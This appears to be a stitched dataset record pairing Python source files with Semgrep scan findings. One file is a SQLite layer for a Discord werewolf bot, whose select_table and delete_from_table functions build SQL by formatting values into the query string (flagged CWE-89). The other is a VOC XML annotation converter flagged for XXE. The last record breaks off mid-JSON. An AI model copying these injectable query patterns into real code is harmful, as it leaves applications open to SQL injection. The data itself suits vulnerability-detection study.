,char_short_description TEXT
,char_card_description TEXT
,char_full_description TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
)''')
# create table EVENT
cursor.execute('''CREATE TABLE IF NOT EXISTS event(
event_id INTEGER PRIMARY KEY
,event_name TEXT
,event_description TEXT
,character_acting_id INTEGER
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(character_acting_id) REFERENCES character(character_id)
)''')
# create table ROLE
cursor.execute('''CREATE TABLE IF NOT EXISTS role(
role_id INTEGER PRIMARY KEY
,role_name TEXT
,role_description TEXT
,default_value TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
)''')
# create table SCENARIO
cursor.execute('''CREATE TABLE IF NOT EXISTS scenario(
scenario_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_id INTEGER
,scenario_name TEXT
,scope TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_id) REFERENCES game(game_id)
)''')
# create table ROLE_PERMISSION
cursor.execute('''CREATE TABLE IF NOT EXISTS role_permission (
role_permission_id INTEGER PRIMARY KEY AUTOINCREMENT
,channel_id INTEGER
,permission_name INTEGER
,permission_value INTEGER
,role_id TEXT
,game_status TEXT
,game_phase TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(channel_id) REFERENCES channel(channel_id)
,FOREIGN KEY(role_id) REFERENCES role(role_id)
)''')
# create table GAME_PLAYER
cursor.execute('''CREATE TABLE IF NOT EXISTS game_player(
game_player_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_id INTEGER NOT NULL
,character_id INTEGER
,starting_character_id INTEGER
,discord_user_id INTEGER NOT NULL
,current_affiliation TEXT
,position INTEGER
,vitals BOOLEAN DEFAULT True
,rounds_survived INTEGER
,result TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_id) REFERENCES game(game_id)
,FOREIGN KEY(character_id) REFERENCES character(character_id)
,FOREIGN KEY(starting_character_id) REFERENCES character(character_id)
)''')
# create table GAME_PLAYER_CONDITION
cursor.execute('''CREATE TABLE IF NOT EXISTS game_player_condition (
game_player_condition_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_player_id INTEGER NOT NULL
,condition TEXT
,round_received INTEGER
,active BOOLEAN DEFAULT True
,duration INTEGER
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_player_id) REFERENCES game_player(game_player_id)
)''')
# create table SCENARIO_CHARACTER
cursor.execute('''CREATE TABLE IF NOT EXISTS scenario_character (
scenario_character_id INTEGER PRIMARY KEY AUTOINCREMENT
,scenario_id INTEGER NOT NULL
,character_id INTEGER NOT NULL
,requirement BOOLEAN DEFAULT True
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(scenario_id) REFERENCES scenario(scenario_id)
,FOREIGN KEY(character_id) REFERENCES character(character_id)
)''')
# create table GAME_EVENT
cursor.execute('''CREATE TABLE IF NOT EXISTS game_event(
game_event_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_id INTEGER NOT NULL
,event_id INTEGER NOT NULL
,event_taken TEXT
,player_acting_id INTEGER
,player_affected_id INTEGER
,round INTEGER
,datetime DATETIME DEFAULT (datetime('now'))
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_id) REFERENCES game(game_id)
,FOREIGN KEY(event_id) REFERENCES event(event_id)
,FOREIGN KEY(player_acting_id) REFERENCES game_player(game_player_id)
,FOREIGN KEY(player_affected_id) REFERENCES game_player(game_player_id)
)''')
# create table GAME_CHANNEL
cursor.execute('''CREATE TABLE IF NOT EXISTS game_channel(
game_channel_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_id INTEGER NOT NULL
,channel_id INTEGER NOT NULL
,discord_channel_id INTEGER NOT NULL
,name TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_id) REFERENCES game(game_id)
,FOREIGN KEY(channel_id) REFERENCES channel(channel_id)
)''')
# create table GAME_ROLE
cursor.execute('''CREATE TABLE IF NOT EXISTS game_role(
game_role_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_id INTEGER NOT NULL
,role_id INTEGER NOT NULL
,discord_role_id INTEGER NOT NULL
,game_role_name TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_id) REFERENCES game(game_id)
,FOREIGN KEY(role_id) REFERENCES role(role_id)
)''')
# create table CHARACTER_PERMISSION
cursor.execute('''CREATE TABLE IF NOT EXISTS character_permission(
character_permission_id INTEGER PRIMARY KEY AUTOINCREMENT
,character_id INTEGER NOT NULL
,channel_id INTEGER NOT NULL
,permission_name TEXT
,permission_value TEXT
,game_status TEXT
,game_phase TEXT
,vitals_required TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(character_id) REFERENCES character(character_id)
,FOREIGN KEY(channel_id) REFERENCES channel(channel_id)
)''')
# create table GAME_VOTES
cursor.execute('''CREATE TABLE IF NOT EXISTS game_vote(
game_vote_id INTEGER PRIMARY KEY AUTOINCREMENT
,game_id INTEGER NOT NULL
,voter INTEGER
,nominee INTEGER
,vote_type TEXT
,round INTEGER
,datetime DATETIME DEFAULT (datetime('now'))
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,FOREIGN KEY(game_id) REFERENCES game(game_id)
,FOREIGN KEY(voter) REFERENCES game_player(game_player_id)
,FOREIGN KEY(nominee) REFERENCES game_player(game_player_id)
)''')
db.commit()
except Exception as e:
db.rollback()
raise e
def insert_into_table(table:str, data):
columns = ''
values = []
num_values = 0
with sqlite3.connect(globals.DB_FILE_LOCATION) as db:
if type(data) == pd.DataFrame:
data.to_sql(table, db, if_exists='append', index=False)
return None
elif type(data) == dict:
for key, value in data.items():
if value is None:
continue
columns += f'{key}, '
values.append(str(value)) # todo sort out how this works with boolean values
values = tuple(values)
num_values = len(values)
try:
cursor = db.cursor()
qmarks = '?,' * num_values
query = f"INSERT INTO {table} ({columns[:-2]}) VALUES ({qmarks[:-1]});"
cursor.execute(query, values)
except Exception as e:
db.rollback()
raise e
def game_insert(discord_category_id, game_name, start_date=None, end_date=None, number_of_players=None, status=None, game_length=None):
insert_into_table('game', locals())
def select_table(table: str, indicators: dict = None, joins: dict = None):
query = f'SELECT * from {table}'
if joins is not None:
for key, value in joins.items():
query += f'\nLEFT OUTER JOIN {key} USING ({value})'
if indicators is not None:
query += "\nWHERE "
cnt = 0
for key, value in indicators.items():
if cnt > 0:
query += '\nAND '
query += f"cast({key} as text)='{value}'"
cnt += 1
query += ';'
with sqlite3.connect(globals.DB_FILE_LOCATION) as db:
return pd.read_sql_query(query, db)
def get_table_schema(table: str):
with sqlite3.connect(globals.DB_FILE_LOCATION) as db:
return pd.read_sql_query(f"pragma table_info('{table}')", db)
def delete_from_table(table: str, indicators=None):
query = f"DELETE FROM {table} "
if indicators is not None:
query += "WHERE "
cnt = 0
for key, value in indicators.items():
if cnt > 0:
query += ' AND '
query += f"{key}='{value}'"
cnt += 1
query += ';'
with sqlite3.connect(globals.DB_FILE_LOCATION) as db:
try:
cursor = db.cursor()
cursor.execute(query)
except Exception as e:
db.rollback()
raise e
def update_table(table: str, data_to_update: dict, update_conditions: dict):
values = []
num = 0
with sqlite3.connect(globals.DB_FILE_LOCATION) as db:
try:
cursor = db.cursor()
data_to_update['modified_datetime'] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
query = f"UPDATE {table}"
for key, value in data_to_update.items():
query += ", " if num else '\nSET '
query += f"{key} = ?"
values.append(str(value))
num += 1
num = 0
for key, value in update_conditions.items():
query += " AND " if num else '\nWHERE '
query += f"{key} = ?"
values.append(str(value))
num += 1
query += f";"
values = tuple(values)
cursor.execute(query, values)
except Exception as e:
db.rollback()
raise e
def insert_default_data():
sheets = Sheets.from_files(globals.BASE_DIR / 'credentials.json', globals.BASE_DIR / 'storage.json')
workbook = sheets[os.getenv('GOOGLE_SHEET_DEFAULT_DATA_FILE_ID')]
tables = ['character', 'event', 'channel', 'character_permission', 'role_permission', 'role']
for table in tables:
insert_into_table(table, workbook.find(table).to_frame())
if __name__ == '__main__':
globals.setup_logging(globals.BASE_DIR / 'logging_config.yaml', logging.DEBUG)
load_dotenv()
try:
os.remove(globals.DB_FILE_LOCATION)
except FileNotFoundError:
pass
create_database_tables()
insert_default_data()
| 352 | 50.42 | 135 | 16 | 2,857 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_ac8fd94f66758de8_a03d63bd", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 246, "line_end": 246, "column_start": 13, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/ac8fd94f66758de8.py", "start": {"line": 246, "col": 13, "offset": 14819}, "end": {"line": 246, "col": 42, "offset": 14848}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_ac8fd94f66758de8_5de9091b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 295, "line_end": 295, "column_start": 13, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/ac8fd94f66758de8.py", "start": {"line": 295, "col": 13, "offset": 16348}, "end": {"line": 295, "col": 34, "offset": 16369}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_ac8fd94f66758de8_b0ac65ba", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 295, "line_end": 295, "column_start": 13, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/ac8fd94f66758de8.py", "start": {"line": 295, "col": 13, "offset": 16348}, "end": {"line": 295, "col": 34, "offset": 16369}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_ac8fd94f66758de8_00204772", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 326, "line_end": 326, "column_start": 13, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/ac8fd94f66758de8.py", "start": {"line": 326, "col": 13, "offset": 17316}, "end": {"line": 326, "col": 42, "offset": 17345}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-89",
"CWE-89",
"CWE-89",
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.lang.security.audit.formatted-sql-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"MEDIUM",
"HIGH",
"HIGH"
] | [
246,
295,
295,
326
] | [
246,
295,
295,
326
] | [
13,
13,
13,
13
] | [
42,
34,
34,
42
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5,
5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | database.py | /src/database.py | scottyskid/werebot_discord | MIT | |
2024-11-18T19:07:28.922178+00:00 | 1,620,702,070,000 | 4a1b001d4f121fdcf376f5d7c32f4ceb5a5fc3fd | 3 | {
"blob_id": "4a1b001d4f121fdcf376f5d7c32f4ceb5a5fc3fd",
"branch_name": "refs/heads/master",
"committer_date": 1620702070000,
"content_id": "d404bd06caa09b620775b3265ee1b4f6f319192b",
"detected_licenses": [
"MIT"
],
"directory_id": "2192c08bee3c20b9e46e981666838c651ce74712",
"extension": "py",
"filename": "voc_annotation.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 366237860,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1495,
"license": "MIT",
"license_type": "permissive",
"path": "/voc_annotation.py",
"provenance": "stack-edu-0054.json.gz:579241",
"repo_name": "13488151126/mobilenet-yolov4-lite-tf2-main",
"revision_date": 1620702070000,
"revision_id": "3f80aaa73d3dd305abc55fc65e26c309b19d9467",
"snapshot_id": "4df11dd54c09533ae4519e814d7515b002191019",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/13488151126/mobilenet-yolov4-lite-tf2-main/3f80aaa73d3dd305abc55fc65e26c309b19d9467/voc_annotation.py",
"visit_date": "2023-04-21T01:24:51.934789"
} | 2.625 | stackv2 | # ---------------------------------------------#
# 运行前一定要修改classes
# 如果生成的2007_train.txt里面没有目标信息
# 那么就是因为classes没有设定正确
# ---------------------------------------------#
import xml.etree.ElementTree as ET
from os import getcwd
sets = [ 'train', 'val', 'test']
classes = [ "car", "people", "other"]
def convert_annotation( image_id, list_file):
in_file = open('img/Annotations/%s.xml' % ( image_id), encoding='utf-8')
tree = ET.parse(in_file)
root = tree.getroot()
for obj in root.iter('object'):
difficult = 0
if obj.find('difficult') != None:
difficult = obj.find('difficult').text
cls = obj.find('name').text
if cls not in classes or int(difficult) == 1:
continue
cls_id = classes.index(cls)
xmlbox = obj.find('bndbox')
b = (int(xmlbox.find('xmin').text), int(xmlbox.find('ymin').text), int(xmlbox.find('xmax').text),
int(xmlbox.find('ymax').text))
list_file.write(" " + ",".join([str(a) for a in b]) + ',' + str(cls_id))
wd = getcwd()
for image_set in sets:
image_ids = open('img/ImageSets/Main/%s.txt' % ( image_set)).read().strip().split()
list_file = open('img_%s.txt' % image_set, 'w')
for image_id in image_ids:
list_file.write('%s/img/JPGImages/%s.jpg' % (wd, image_id))
convert_annotation(image_id, list_file)
list_file.write('\n')
list_file.close() | 43 | 32.26 | 105 | 17 | 391 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_8212c7c978961007_1385c1ce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 6, "line_end": 6, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/8212c7c978961007.py", "start": {"line": 6, "col": 1, "offset": 240}, "end": {"line": 6, "col": 35, "offset": 274}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_8212c7c978961007_b7790681", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 5, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmppq52ww6s/8212c7c978961007.py", "start": {"line": 15, "col": 5, "offset": 422}, "end": {"line": 15, "col": 77, "offset": 494}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_8212c7c978961007_b506e215", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(in_file)", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 12, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmppq52ww6s/8212c7c978961007.py", "start": {"line": 16, "col": 12, "offset": 506}, "end": {"line": 16, "col": 29, "offset": 523}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(in_file)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_8212c7c978961007_75b7fe1f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 17, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/8212c7c978961007.py", "start": {"line": 37, "col": 17, "offset": 1173}, "end": {"line": 37, "col": 65, "offset": 1221}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_8212c7c978961007_679b29bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 17, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, 